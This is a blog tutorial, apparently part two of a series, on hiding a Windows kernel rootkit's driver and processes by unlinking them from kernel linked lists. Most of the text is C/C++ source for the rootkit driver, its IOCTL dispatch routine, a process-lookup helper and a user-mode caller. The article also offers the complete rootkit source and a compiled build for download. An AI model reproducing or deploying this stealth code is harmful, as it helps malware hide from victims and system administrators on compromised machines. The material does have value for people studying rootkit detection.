Rootkit concealment part 2

In my previous article: Rootkit concealment part 1 I talked about the methods to hide the registry keys and directories. In this article methods to hide the drivers and processes are discussed. In both cases the logic behind the concept is the same although kernel data structures to alter are different. The overall Idea is to find the linked list by which OS keeps track of the running processes or drivers using the process or driver data OS gives us while querying. After locating the processes or drivers linked list we modify the linked list so that our process or driver is removed from the list.

Driver hiding c++ source code

In the DriverEntry function of the driver the OS passes us the PDRIVER_OBJECT. Using this object we can locate the Drivers DRIVER_DATA Linked List. This data structure uses the typical forward and backward pointers to access the next and previous drivers. Hiding the driver (in this case the rootkit) is as easy as modifying the previous and next links of objects after our driver object in the linked list. Figure 1 shows the concept:

driver and process hiding

Figure 1

The source code to do this is:

NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING theRegistryPath )

{

                DRIVER_DATA* driverData;

                ...

 

                // Hide this driver

                driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20));

                if( driverData != NULL )

                {

                                // unlink this driver entry from the driver list

                                *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;

                                driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;

                }

                ...

 

                return STATUS_SUCCESS;

}

 

Process hiding c++ source code

As discussed in the beginning of this article the idea behind the driver and process hiding is the same, however there are design and implementation differences in the process hiding. The rootkit base itself is a driver but there may be other executable with the rootkit that need to be hided. To hide an executable, the executable calls the driver and passes its process id. Here is the code to call the driver and passing the process id:

control.processId = GetCurrentProcessId();

deviceHandle = CreateFile( GHOST_DEVICE_OPEN_NAME,

  GENERIC_READ | GENERIC_WRITE,

  0,

  NULL,

  OPEN_EXISTING,

  FILE_ATTRIBUTE_NORMAL,

  NULL);

 

  if( DeviceIoControl(deviceHandle,

   GHOST_HIDE_COMMAND,

   &control,

   sizeof(control), // input

   (PVOID)&control,

   sizeof(control), // output

   &status,

   NULL ) )

   printf ("MyDeviceDriver hiding this process (0x%x).\n",

    control.processId );

 

Then the driver receives this call in its dispatch method (because in the DriverEntry function we had set OnDispatch to process all the requests to our driver). After that the driver finds the Processes linked list (KPControlBlock) using PsGetCurrentProcess API + an offset (the offset depends to the OS) and locate the process entry in the list using the pass Process id and modify the linked list to hide the process.

 

NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING theRegistryPath )

{

                DRIVER_DATA* driverData;

                ...

 

                // Route standard I/O through our dispatch routine

                for(loop = 0; loop < IRP_MJ_MAXIMUM_FUNCTION; loop++)

                                pDriverObject->MajorFunction[loop] = OnDispatch;

                ...

 

                return STATUS_SUCCESS;

}

 

// Process I/O

NTSTATUS OnDispatch( PDEVICE_OBJECT DeviceObject, PIRP Irp )

{

                PIO_STACK_LOCATION irpStack;

                ...

                // Get the IRP stack

                irpStack = IoGetCurrentIrpStackLocation (Irp);

                ...

                switch (irpStack->MajorFunction)

                {

                                case IRP_MJ_DEVICE_CONTROL:

                                                status = OnDeviceControl( irpStack->FileObject, TRUE,

                                                                                inputBuffer, inputBufferLength,

                                                                                outputBuffer, outputBufferLength,

                                                                                ioControlCode, &Irp->IoStatus, DeviceObject );

                                                break;

                }

...

}

// Process commands from external applications

NTSTATUS  OnDeviceControl( PFILE_OBJECT FileObject, BOOLEAN Wait,

                PVOID InputBuffer, ULONG InputBufferLength,

                PVOID OutputBuffer, ULONG OutputBufferLength,

                ULONG IoControlCode, PIO_STATUS_BLOCK IoStatus,

                PDEVICE_OBJECT DeviceObject )

{

                ...

               

                switch ( IoControlCode )

                {

                ...

 

                                case GHOST_HIDE_COMMAND:

                                                if ( InputBufferLength >= sizeof(GHOST_IOCTLDATA) )

                                                {

                                                                pControlData = (GHOST_IOCTLDATA*)InputBuffer;

                                                                eProcess = findProcess( pControlData->processId );

                                                                if( eProcess != 0 )

                                                                {

                                                                                // Hide the process

                                                                                processList = (LIST_ENTRY *)(eProcess + listOffset );

                                                                                if( processList && processList->Flink && processList->Blink)

                                                                                {

                                                                                                *((DWORD *)processList->Blink) = (DWORD) processList->Flink;

                                                                                                *((DWORD *)processList->Flink + 1) = (DWORD) processList->Blink;

                                                                                                processList->Flink = (LIST_ENTRY *)&(processList->Flink);

                                                                                                processList->Blink = (LIST_ENTRY *)&(processList->Flink);                                                                                                                                                           

                                                                                }

                                                                                else

                                                                                {

                                                                                                DbgPrint("comint32: Error finding process 0x%x",

                                                                                                                pControlData->processId);

                                                                                }

                                                                }

                                                                else

                                                                {

                                                                                DbgPrint("comint32: Could not find process 0x%x",

                                                                                                pControlData->processId);

                                                                }

                                                }

                                                return IoStatus->Status;

 

 

                                default:

                                                IoStatus->Information = 0;

                                                IoStatus->Status = STATUS_NOT_SUPPORTED;

                                                return IoStatus->Status;

                }

                return STATUS_SUCCESS;

}

DWORD findProcess ( DWORD targetProcessId )

{

                int loop = 0;

                DWORD eProcess;

                DWORD firstProcess;

                DWORD nextProcess;

                PLIST_ENTRY processList;

 

                if ( targetProcessId == 0 )

                                return 0;

 

                // Get the process list

                eProcess = (DWORD)PsGetCurrentProcess();

                // Traverse the process list

                firstProcess = *((DWORD*)(eProcess + (listOffset - 4))); //The process list is in eProcess + listOffset but here we acquired the first process's ID

                nextProcess = firstProcess;

                for(;;)

                {

                                if(targetProcessId == nextProcess)

                                {

                                                // found the process

                                                break;

                                }

                                else if( loop && (nextProcess == firstProcess) ) //Loop insures that we are in the loop not in the loop start

                                {

                                                // circled without finding the process

                                                eProcess = 0;

                                                break;

                                }

                                else

                                {

                                                // get the next process

                                                processList = (LIST_ENTRY*)(eProcess + listOffset);

                                                if( processList->Flink == 0 )

                                                {

                                                                DbgPrint ("comint32: findProcess no Flink!");

                                                                break;

                                                }

                                                eProcess = (DWORD)processList->Flink;

                                                eProcess = eProcess - listOffset; //This and the next line is suspicious! why not just using eProcess - 4?! Anyway from the Flink which is the pointer to the process's list we retrieve the process's ID

                                                nextProcess = *((DWORD*)(eProcess + (listOffset - 4)));

                                }

                                loop++;

                }

 

                return eProcess;

}

 

The complete rootkit source code and a compiled version of two rootkit concealment parts can be downloaded here.

Read 564 times Last modified on Thursday, 09 July 2015 08:27
Rate this item
0
(0 votes)
More in this category: « Rootkit concealment part 1
About Author
Leave a comment

Make sure you enter the (*) required information where indicated. HTML code is not allowed.

Advanced Programming Concepts
News Letter

Subscribe our Email News Letter to get Instant Update at anytime